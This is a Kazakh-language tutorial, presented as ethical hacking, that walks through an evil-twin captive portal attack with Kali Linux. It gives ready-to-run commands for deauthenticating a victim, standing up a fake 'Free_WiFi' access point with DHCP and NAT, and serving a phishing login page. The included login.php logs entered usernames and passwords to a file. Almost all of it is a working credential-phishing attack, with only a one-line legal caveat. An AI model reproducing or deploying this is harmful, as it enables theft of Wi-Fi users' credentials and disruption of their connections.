

Captive Portal арқылы Этикалық Хакерлік: Толық Оқулық

Кіріспе

Бұл оқулықта Kali Linux немесе Nethunter қолдану арқылы Captive Portal шабуылын қалай жасауға болатыны туралы толық ақпарат беріледі. Captive Portal – Wi-Fi желілерінде қолданылатын арнайы бет, ол пайдаланушыны алдымен тіркелуге мәжбүрлейді. Этикалық хакерлер бұл әдісті желі қауіпсіздігін тексеру үшін пайдаланады.

1. Қажетті құралдар

- Kali Linux немесе Kali Nethunter орнатылған құрылғы
- Wi-Fi адаптері (монитор режимді қолдайтын)
- aircrack-ng пакеті
- dnsmasq DHCP сервері
- Apache2 веб сервері
- wifiphisher немесе airbase-ng

2. Captive Portal қалай жұмыс істейді

Пайдаланушы Wi-Fi-ға қосылады, бірақ интернетке кіре алмайды. Оның орнына автоматты түрде фейк логин беті ашылады. Пайдаланушы логин мен пароль енгізеді, олар хакерге түседі. Егер логин дұрыс енгізілсе, интернетке қол жетімділік беріледі.

3. Қадамдар

1) Wi-Fi адаптерін монитор режимге қосу:

```
sudo airmon-ng start wlan0
```

2) Құрбанның Wi-Fi байланысын үзу (deauth шабуылы):

```
sudo aireplay-ng --deauth 5 -a <ROUTER_MAC> -c <VICTIM_MAC> wlan0mon
```

3) Fake AP жасау:

```
sudo airbase-ng -e "Free_WiFi" -c 6 wlan0mon &
```

4) DHCP серверін іске қосу:

```
sudo ifconfig at0 up
```

```
sudo ifconfig at0 10.0.0.1 netmask 255.255.255.0
sudo dnsmasq --interface=at0 --dhcp-range=10.0.0.10,10.0.0.50,12h &
```

5) NAT орнату:

```
sudo iptables --flush
sudo iptables --table nat --flush
sudo iptables --delete-chain
sudo iptables --table nat --delete-chain
sudo iptables -P FORWARD ACCEPT
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
```

6) Apache серверін іске қосу:

```
sudo service apache2 start
```

7) Фейк логин бетін жасау (index.html) және логин қабылдау (login.php)

4. Фейк сайт үлгісі

index.html файлының мысалы:

```
<!DOCTYPE html>
<html lang="kk">
<head>
  <meta charset="UTF-8" />
  <title>Желіге кіру</title>
</head>
<body>
  <h2>Желіге кіру үшін логин және құпиясөз енгізіңіз</h2>
  <form action="login.php" method="POST">
    <input name="username" placeholder="Логин" required><br><br>
    <input name="password" type="password" placeholder="Құпиясөз" required><br><br>
    <button type="submit">Кіру</button>
  </form>
</body>
</html>
```

login.php мысалы:

```
<?php
```

```
if ($_SERVER["REQUEST_METHOD"] == "POST") {  
    $user = $_POST['username'];  
    $pass = $_POST['password'];  
    $logfile = "../logs/creds.txt";  
    $data = "Логин: $user | Құпиясөз: $pass  
";  
    file_put_contents($logfile, $data, FILE_APPEND);  
    header("Location: http://www.google.com");  
    exit();  
} else {  
    echo "Қате!";  
}  
?>
```

5. Қауіпсіздік және заңдылық

Бұл шабуылды тек өз желіңде немесе рұқсат алған жағдайда ғана қолданыңыз. Басқа Wi-Fi желілеріне шабуыл жасау заңға қайшы және жазалануы мүмкін.

6. Қорытынды

Captive Portal шабуылы – желі қауіпсіздігін тексерудің тиімді әдісі. Бұл оқулықта қарапайым үлгісі берілді. Әрі қарай жетілдіру және қолдану үшін жүйені жақсы түсіну қажет.